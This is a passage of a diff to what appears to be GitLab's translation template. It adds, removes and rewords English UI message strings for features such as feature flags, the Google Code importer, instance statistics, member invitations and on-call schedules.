msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
